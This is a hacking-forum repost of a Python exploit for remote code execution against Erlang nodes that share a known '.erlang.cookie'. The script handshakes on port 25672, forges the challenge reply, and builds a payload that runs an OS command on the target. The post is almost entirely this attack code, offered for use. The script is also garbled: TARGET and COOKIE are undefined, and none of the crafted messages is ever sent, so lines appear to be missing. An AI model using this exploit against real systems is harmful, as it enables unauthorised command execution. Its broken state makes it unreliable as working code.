Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Erlang Cookie - Remote Code Execution


Recommended Posts

# Exploit Title: Erlang Cookie - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: 1F98D
# Original Author: Milton Valencia (wetw0rk)
# Software Link: https://www.erlang.org/
# Version: N/A
# Tested on: Debian 9.11 (x64)
# References:
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# Erlang allows distributed Erlang instances to connect and remotely execute commands.
# Nodes are permitted to connect to eachother if they share an authentication cookie,
# this cookie is commonly called ".erlang.cookie"

import socket
from hashlib import md5
import struct
import sys

PORT = 25672
CMD = "whoami"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))

name_msg  = b"\x00"
name_msg += b"\x15"
name_msg += b"n"
name_msg += b"\x00\x07"
name_msg += b"\x00\x03\x49\x9c"
name_msg += b"AAAAAA@AAAAAAA"

s.recv(5)                    # Receive "ok" message
challenge = s.recv(1024)     # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

print("Extracted challenge: {}".format(challenge))

challenge_reply  = b"\x00\x15"
challenge_reply += b"r"
challenge_reply += b"\x01\x02\x03\x04"
challenge_reply += md5(bytes(COOKIE, "ascii") + bytes(str(challenge), "ascii")).digest()

challenge_res = s.recv(1024)
if len(challenge_res) == 0:
    print("Authentication failed, exiting")

print("Authentication successful")

ctrl = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex"
msg  = b'\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k'
msg += struct.pack(">H", len(CMD))
msg += bytes(CMD, 'ascii')
msg += b'jw\x04user'

payload = b'\x70' + ctrl + msg
payload = struct.pack('!I', len(payload)) + payload
print("Sending cmd: '{}'".format(CMD))
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...